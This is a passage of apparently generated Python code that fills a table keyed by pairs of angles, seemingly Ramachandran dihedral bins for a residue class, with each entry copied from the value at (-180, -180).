NonPGIV_nonxpro[(-30, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-20, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-10, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(0, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(10, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(20, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(30, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(40, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(50, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(60, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 70)]=NonPGIV_nonxpro[(-180, -180)]
